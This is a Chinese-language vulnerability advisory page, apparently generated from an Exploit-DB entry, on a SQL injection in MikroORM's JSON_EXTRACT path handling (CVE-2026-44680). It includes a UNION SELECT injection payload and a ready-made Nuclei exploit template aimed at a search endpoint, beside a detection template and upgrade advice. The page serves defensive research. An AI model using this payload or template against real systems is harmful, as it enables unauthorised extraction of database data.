[webapps] MikroORM 7.0.13 - SQL Injection

CVE-2026-44680: MikroORM 7.0.13 SQL注入漏洞深度分析。漏洞根因为JSON_EXTRACT查询路径键未转义,攻击者可注入UNION SELECT语句提取数据库信息。受影响组件为@mikro-orm/knex ≤6.6.13和@mikro-orm/sql ≤7.0.13,建议立即升级。

CVE-2026-44680

MikroORM 7.0.13 在处理用户控制的 JSON 路径键时未正确转义,导致 SQL 注入。

Critical · CVSS 9.8 (估计)

📋 漏洞基础信息

CVECVE-2026-44680
漏洞类型SQL注入
受影响版本@mikro-orm/knex <= 6.6.13, @mikro-orm/sql <= 7.0.13
危害等级Critical · CVSS 9.8 (估计)
发布日期2026-05-29
提交者cardosource
来源Exploit-DB 原文 ↗

🔬 漏洞根因

MikroORM 在构建 JSON_EXTRACT 查询时,未能正确转义运行时可控的 JSON 路径键(JSON path key),攻击者可通过构造恶意键值突破 JSON 路径上下文,注入任意 SQL 语句。

🎯 攻击场景

1. 攻击者识别出使用 MikroORM 且存在 JSON 列查询的应用接口,如 `POST /api/users/search`。2. 构造带有恶意 JSON 路径键的请求:`jsonColumn: { [userControlledKey]: value }`。3. 通过注入 `' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment --` 等 payload 使 SQL 语句闭合,执行 UNION SELECT 获取数据库信息。4. 成功则返回数据库中敏感数据。

💥 漏洞影响

攻击者可通过 UNION SELECT 注入,获取数据库敏感信息如数据库版本、库名、用户名、系统信息,可能导致数据泄露甚至服务器控制。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-44680-exploit

info:
  name: MikroORM SQL Injection - Exploit
  author: cardosource
  severity: high
  description: Exploits SQL injection in MikroORM JSON_EXTRACT queries by injecting crafted JSON-path keys to execute UNION SELECT statements.
  reference:
    - https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp
    - https://www.exploit-db.com/exploits/XXXXX
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89

variables:
  filterField: "$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment -- "
  filterValue: "x"

http:
  - raw:
      - |
        POST {{BaseURL}}/api/users/search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"filterField":"{{filterField}}","filterValue":"{{filterValue}}"}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "UNION SELECT"
          - "@@version"
          - "DATABASE()"
          - "USER()"
        condition: or

      - type: regex
        part: body
        regex:
          - '\d+\.\d+\.\d+'
          - '[A-Za-z_]+'
          - 'root@[A-Za-z0-9]+'

    extractors:
      - type: regex
        part: body
        group: 0
        regex:
          - '(\d+\.\d+\.\d+.*)'
          - '(root@[A-Za-z0-9]+)'
          - '([A-Za-z_]+Database)'
          - '(MariaDB|MySQL|SQLite)'

🔬 深度技术分析

原始 PoC 中,payload 构造 `filterField` 值为 `$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment --`。该值被用作 JSON_EXTRACT 的路径键,其中的单引号 `'` 和右括号 `)` 将 JSON 路径和 SQL 上下文闭合,随后 `OR 1=1 UNION SELECT ...` 注入 SQL 语句,`--` 注释掉后续 SQL,从而实现信息泄露。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-44680-detection

info:
  name: MikroORM SQL Injection - Detection
  author: cardosource
  severity: high
  description: MikroORM versions @mikro-orm/knex <= 6.6.13 / @mikro-orm/sql <= 7.0.13 are vulnerable to SQL injection through runtime-controlled JSON path keys.
  reference:
    - https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp
    - https://www.exploit-db.com/exploits/XXXXX
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/users/search"
      - "{{BaseURL}}/package.json"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'mikro-orm')"
          - "contains(body, '@mikro-orm/knex')"
          - "contains(body, '@mikro-orm/sql')"
        condition: or

      - type: regex
        part: body
        regex:
          - '6\.\d+\.\d+|7\.0\.\d+'

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"version":\s*"(\d+\.\d+\.\d+)"'
          - '"@mikro-orm/knex":\s*"(\d+\.\d+\.\d+)"'
          - '"@mikro-orm/sql":\s*"(\d+\.\d+\.\d+)"'
          - '"name":\s*"mikro-orm",\s*"version":\s*"(\d+\.\d+\.\d+)"'

🛡️ 修复建议

升级至 @mikro-orm/knex > 6.6.13 和 @mikro-orm/sql > 7.0.13。临时缓解措施:对用户输入的 JSON 路径键进行严格验证,拒绝包含单引号、括号、SQL 关键字等特殊字符。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-30 08:14 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 如何验证环境是否受此漏洞影响?

检查 @mikro-orm/knex 版本是否 <= 6.6.13,@mikro-orm/sql 版本是否 <= 7.0.13。若存在 JSON 列查询且键值来自用户输入,则可能受影响。

❓ 攻击者利用该漏洞需要什么前置条件?

应用使用 MikroORM 并公开了接收用户可控 JSON 路径键的查询接口,例如 `em.find(Entity, { jsonColumn: { [userKey]: value } })`。

❓ 如果不能立即升级,有哪些临时缓解措施?

对用户输入的 JSON 路径键做输入白名单验证,拒绝所有包含单引号、括号、`UNION`、`OR`、`--` 等 SQL 特殊字符的键值;或限制 API 请求来源。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)